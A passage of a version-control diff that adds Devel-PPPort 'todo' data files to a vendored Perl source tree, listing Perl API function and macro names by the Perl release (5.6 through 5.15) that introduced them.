+is_utf8_print                  # U
+is_utf8_punct                  # U
+is_utf8_space                  # U
+is_utf8_upper                  # U
+is_utf8_xdigit                 # U
+magic_dump                     # U
+my_atof                        # U
+my_fflush_all                  # U
+newANONATTRSUB                 # U
+newATTRSUB                     # U
+newXS                          # E (Perl_newXS)
+newXSproto                     # E
+new_collate                    # U (perl_new_collate)
+new_ctype                      # U (perl_new_ctype)
+new_numeric                    # U (perl_new_numeric)
+op_dump                        # U
+perl_parse                     # E (perl_parse)
+pmop_dump                      # U
+re_intuit_string               # U
+reginitcolors                  # U
+require_pv                     # U (perl_require_pv)
+safesyscalloc                  # U
+safesysfree                    # U
+safesysmalloc                  # U
+safesysrealloc                 # U
+save_I8                        # U
+save_alloc                     # U
+save_destructor                # E (Perl_save_destructor)
+save_destructor_x              # E
+save_re_context                # U
+save_vptr                      # U
+scan_bin                       # U
+set_context                    # U
+set_numeric_local              # U (perl_set_numeric_local)
+set_numeric_radix              # U
+set_numeric_standard           # U (perl_set_numeric_standard)
+str_to_version                 # U
+sv_2pvutf8                     # U
+sv_2pvutf8_nolen               # U
+sv_force_normal                # U
+sv_len_utf8                    # U
+sv_pos_b2u                     # U
+sv_pos_u2b                     # U
+sv_pv                          # U
+sv_pvbyte                      # U
+sv_pvbyten                     # U
+sv_pvbyten_force               # U
+sv_pvutf8                      # U
+sv_pvutf8n                     # U
+sv_pvutf8n_force               # U
+sv_rvweaken                    # U
+sv_utf8_decode                 # U
+sv_utf8_downgrade              # U
+sv_utf8_encode                 # U
+swash_init                     # U
+to_uni_lower_lc                # U
+to_uni_title_lc                # U
+to_uni_upper_lc                # U
+utf8_distance                  # U
+utf8_hop                       # U
+vcroak                         # U
+vform                          # U
+vwarn                          # U
+vwarner                        # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,11 @@
+5.006001
+SvGAMAGIC                      # U
+apply_attrs_string             # U
+bytes_to_utf8                  # U
+gv_efullname4                  # U
+gv_fullname4                   # U
+is_utf8_string                 # U
+save_generic_pvref             # U
+utf16_to_utf8                  # E (Perl_utf16_to_utf8)
+utf16_to_utf8_reversed         # E (Perl_utf16_to_utf8_reversed)
+utf8_to_bytes                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5006002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.006002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.007000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,23 @@
+5.007001
+ASCII_TO_NEED                  # U
+NATIVE_TO_NEED                 # U
+POPpbytex                      # E
+bytes_from_utf8                # U
+despatch_signals               # U
+do_openn                       # U
+gv_handler                     # U
+is_lvalue_sub                  # U
+my_popen_list                  # U
+save_mortalizesv               # U
+scan_num                       # E (Perl_scan_num)
+sv_force_normal_flags          # U
+sv_setref_uv                   # U
+sv_unref_flags                 # U
+sv_utf8_upgrade                # E (Perl_sv_utf8_upgrade)
+utf8_length                    # U
+utf8_to_uvchr                  # U
+utf8_to_uvuni                  # U
+utf8n_to_uvchr                 # U
+utf8n_to_uvuni                 # U
+uvchr_to_utf8                  # U
+uvuni_to_utf8                  # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,17 @@
+5.007002
+calloc                         # U
+getcwd_sv                      # U
+init_tm                        # U
+malloc                         # U
+mfree                          # U
+mini_mktime                    # U
+my_atof2                       # U
+my_strftime                    # U
+op_null                        # U
+realloc                        # U
+sv_catpvn_flags                # U
+sv_catsv_flags                 # U
+sv_setsv_flags                 # U
+sv_utf8_upgrade_flags          # U
+sv_utf8_upgrade_nomg           # U
+swash_fetch                    # E (Perl_swash_fetch)

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5007003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,60 @@
+5.007003
+OP_DESC                        # U
+OP_NAME                        # U
+PL_peepp                       # E
+PerlIO_clearerr                # U (PerlIO_clearerr)
+PerlIO_close                   # U (PerlIO_close)
+PerlIO_eof                     # U (PerlIO_eof)
+PerlIO_error                   # U (PerlIO_error)
+PerlIO_fileno                  # U (PerlIO_fileno)
+PerlIO_fill                    # U (PerlIO_fill)
+PerlIO_flush                   # U (PerlIO_flush)
+PerlIO_get_base                # U (PerlIO_get_base)
+PerlIO_get_bufsiz              # U (PerlIO_get_bufsiz)
+PerlIO_get_cnt                 # U (PerlIO_get_cnt)
+PerlIO_get_ptr                 # U (PerlIO_get_ptr)
+PerlIO_read                    # U (PerlIO_read)
+PerlIO_seek                    # U (PerlIO_seek)
+PerlIO_set_cnt                 # U (PerlIO_set_cnt)
+PerlIO_set_ptrcnt              # U (PerlIO_set_ptrcnt)
+PerlIO_setlinebuf              # U (PerlIO_setlinebuf)
+PerlIO_stderr                  # U (PerlIO_stderr)
+PerlIO_stdin                   # U (PerlIO_stdin)
+PerlIO_stdout                  # U (PerlIO_stdout)
+PerlIO_tell                    # U (PerlIO_tell)
+PerlIO_unread                  # U (PerlIO_unread)
+PerlIO_write                   # U (PerlIO_write)
+SvLOCK                         # U
+SvSHARE                        # U
+SvUNLOCK                       # U
+atfork_lock                    # U
+atfork_unlock                  # U
+custom_op_desc                 # U
+custom_op_name                 # U
+deb                            # U
+debstack                       # U
+debstackptrs                   # U
+gv_fetchmeth_autoload          # U
+ibcmp_utf8                     # U
+my_fork                        # U
+my_socketpair                  # U
+pack_cat                       # U
+perl_destruct                  # E (perl_destruct)
+pv_uni_display                 # U
+save_shared_pvref              # U
+savesharedpv                   # U
+sortsv                         # U
+sv_magicext                    # U
+sv_nolocking                   # U
+sv_nosharing                   # U
+sv_recode_to_utf8              # U
+sv_uni_display                 # U
+to_uni_fold                    # U
+to_uni_lower                   # E (Perl_to_uni_lower)
+to_uni_title                   # E (Perl_to_uni_title)
+to_uni_upper                   # E (Perl_to_uni_upper)
+to_utf8_case                   # U
+unpack_str                     # U
+uvchr_to_utf8_flags            # U
+uvuni_to_utf8_flags            # U
+vdeb                           # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.008000
+HeUTF8                         # U
+hv_iternext_flags              # U
+hv_store_flags                 # U
+is_utf8_idcont                 # U
+nothreadhook                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,18 @@
+5.008001
+CvPADLIST                      # E
+PL_comppad                     # E
+SvVOK                          # U
+doing_taint                    # U
+find_runcv                     # U
+is_utf8_string_loc             # U
+packlist                       # U
+pad_add_anon                   # U
+pad_new                        # E
+pad_tidy                       # E
+save_bool                      # U
+savestack_grow_cnt             # U
+seed                           # U
+sv_cat_decode                  # U
+sv_setpviv                     # U
+sv_setpviv_mg                  # U
+unpackstring                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,3 @@
+5.008003
+SvIsCOW                        # U
+SvIsCOW_shared_hash            # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008006

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008007

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008008

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5008009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.008009

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.009000
+new_version                    # U
+save_set_svflags               # U
+vcmp                           # U
+vnumify                        # U
+vstringify                     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.009001
+hv_clear_placeholders          # U
+hv_scalar                      # U
+scan_version                   # E (Perl_scan_version)
+sv_2iv_flags                   # U
+sv_2uv_flags                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+5.009002
+SvPVbyte_force                 # U
+find_rundefsvoffset            # U
+op_refcnt_lock                 # U
+op_refcnt_unlock               # U
+savesvpv                       # U
+vnormal                        # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,23 @@
+5.009003
+av_arylen_p                    # U
+ckwarn                         # U
+ckwarn_d                       # U
+csighandler                    # E (Perl_csighandler)
+dMULTICALL                     # E
+doref                          # U
+gv_const_sv                    # U
+hv_eiter_p                     # U
+hv_eiter_set                   # U
+hv_name_set                    # U
+hv_placeholders_get            # U
+hv_placeholders_set            # U
+hv_riter_p                     # U
+hv_riter_set                   # U
+is_utf8_string_loclen          # U
+newGIVENOP                     # U
+newSVhek                       # U
+newWHENOP                      # U
+pad_compname_type              # U
+savepvs                        # U
+sortsv_flags                   # U
+vverify                        # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,9 @@
+5.009004
+PerlIO_context_layers          # U
+gv_name_set                    # U
+hv_copy_hints_hv               # U
+my_vsnprintf                   # U
+newXS_flags                    # U
+regclass_swash                 # E (Perl_regclass_swash)
+sv_does                        # U
+sv_usepvn_flags                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5009005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,27 @@
+5.009005
+Perl_signbit                   # U
+av_create_and_push             # U
+av_create_and_unshift_one      # U
+gv_fetchfile_flags             # U
+lex_start                      # E (Perl_lex_start)
+mro_get_linear_isa             # U
+mro_method_changed_in          # U
+my_dirfd                       # U
+pregcomp                       # E (Perl_pregcomp)
+ptr_table_clear                # U
+ptr_table_fetch                # U
+ptr_table_free                 # U
+ptr_table_new                  # U
+ptr_table_split                # U
+ptr_table_store                # U
+re_compile                     # U
+reg_named_buff_all             # U
+reg_named_buff_exists          # U
+reg_named_buff_fetch           # U
+reg_named_buff_firstkey        # U
+reg_named_buff_nextkey         # U
+reg_named_buff_scalar          # U
+regfree_internal               # U
+savesharedpvn                  # U
+scan_vstring                   # E (Perl_scan_vstring)
+upg_version                    # E (Perl_upg_version)

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+5.010000
+hv_common                      # U
+hv_common_key_len              # U
+sv_destroyable                 # U
+sys_init                       # U
+sys_init3                      # U
+sys_term                       # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5010001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,12 @@
+5.010001
+mro_get_from_name              # U
+mro_get_private_data           # U
+mro_register                   # U
+mro_set_mro                    # U
+mro_set_private_data           # U
+save_hints                     # U
+save_padsv_and_mortalize       # U
+save_pushi32ptr                # U
+save_pushptr                   # U
+save_pushptrptr                # U
+sv_insert_flags                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,14 @@
+5.011000
+Gv_AMupdate                    # E (Perl_Gv_AMupdate)
+PL_opfreehook                  # E
+SVt_REGEXP                     # E
+SvOOK_offset                   # U
+av_iter_p                      # U
+gv_add_by_type                 # U
+is_ascii_string                # U
+pregfree2                      # U
+save_adelete                   # U
+save_aelem_flags               # U
+save_hdelete                   # U
+save_helem_flags               # U
+sv_utf8_upgrade_flags_grow     # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.011001
+ck_warner                      # U
+ck_warner_d                    # U
+is_utf8_perl_space             # U
+is_utf8_perl_word              # U
+is_utf8_posix_digit            # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,13 @@
+5.011002
+PL_keyword_plugin              # E
+lex_bufutf8                    # U
+lex_discard_to                 # U
+lex_grow_linestr               # U
+lex_next_chunk                 # U
+lex_peek_unichar               # U
+lex_read_space                 # U
+lex_read_to                    # U
+lex_read_unichar               # U
+lex_stuff_pvn                  # U
+lex_stuff_sv                   # U
+lex_unstuff                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.011003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.011004
+prescan_version                # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5011005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.011005
+sv_pos_u2b_flags               # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5012005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.012005

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.013000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.013001
+sv_2nv_flags                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,9 @@
+5.013002
+SvNV_nomg                      # U
+find_rundefsv                  # U
+foldEQ                         # U
+foldEQ_locale                  # U
+foldEQ_utf8                    # U
+hv_fill                        # U
+sv_dec_nomg                    # U
+sv_inc_nomg                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.013003
+blockhook_register             # E

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.013004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013005
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013005	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013005	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,5 @@
+5.013005
+PL_rpeepp                      # E
+isOCTAL                        # U
+lex_stuff_pvs                  # U
+parse_fullstmt                 # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013006
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013006	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013006	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,32 @@
+5.013006
+LINKLIST                       # U
+SvTRUE_nomg                    # U
+ck_entersub_args_list          # U
+ck_entersub_args_proto         # U
+ck_entersub_args_proto_or_list # U
+cv_get_call_checker            # E
+cv_set_call_checker            # E
+isWORDCHAR                     # U
+lex_stuff_pv                   # U
+mg_free_type                   # U
+newSVpv_share                  # U
+op_append_elem                 # U
+op_append_list                 # U
+op_contextualize               # U
+op_linklist                    # U
+op_prepend_elem                # U
+parse_stmtseq                  # U
+rv2cv_op_cv                    # U
+savesharedpvs                  # U
+savesharedsvpv                 # U
+sv_2bool_flags                 # U
+sv_catpv_flags                 # U
+sv_catpv_nomg                  # U
+sv_catpvs_flags                # U
+sv_catpvs_mg                   # U
+sv_catpvs_nomg                 # U
+sv_cmp_flags                   # U
+sv_cmp_locale_flags            # U
+sv_collxfrm_flags              # U
+sv_eq_flags                    # U
+sv_setpvs_mg                   # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013007
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013007	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013007	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,35 @@
+5.013007
+HvENAME                        # U
+OP_CLASS                       # U
+XopFLAGS                       # E
+amagic_deref_call              # U
+bytes_cmp_utf8                 # U
+cop_hints_2hv                  # A
+cop_hints_fetch_pv             # U
+cop_hints_fetch_pvn            # U
+cop_hints_fetch_pvs            # U
+cop_hints_fetch_sv             # U
+cophh_2hv                      # E
+cophh_copy                     # E
+cophh_delete_pv                # E
+cophh_delete_pvn               # E
+cophh_delete_pvs               # E
+cophh_delete_sv                # E
+cophh_fetch_pv                 # E
+cophh_fetch_pvn                # E
+cophh_fetch_pvs                # E
+cophh_fetch_sv                 # E
+cophh_free                     # E
+cophh_store_pv                 # E
+cophh_store_pvn                # E
+cophh_store_pvs                # E
+cophh_store_sv                 # E
+custom_op_register             # E
+custom_op_xop                  # E
+newFOROP                       # A
+newWHILEOP                     # A
+op_lvalue                      # U
+op_scope                       # U
+parse_barestmt                 # U
+parse_block                    # U
+parse_label                    # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013008
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013008	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013008	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+5.013008
+foldEQ_latin1                  # U
+parse_arithexpr                # U
+parse_fullexpr                 # U
+parse_listexpr                 # U
+parse_termexpr                 # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013009
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013009	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013009	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.013009

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013010
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013010	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013010	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,4 @@
+5.013010
+foldEQ_utf8_flags              # U
+is_utf8_xidcont                # U
+is_utf8_xidfirst               # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013011
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013011	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5013011	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.013011

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,2 @@
+5.014000
+_to_uni_fold_flags             # U

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014001

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014002
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014002	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014002	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014002

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014003
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014003	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014003	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014003

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014004
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014004	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5014004	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.014004

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015000
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015000	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015000	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+5.015000

Added: vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015001
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015001	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/todo/5015001	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,11 @@
+5.015001
+cop_fetch_label                # U
+cop_store_label                # U
+pad_add_name_pv                # U
+pad_add_name_pvn               # U
+pad_add_name_pvs               # U
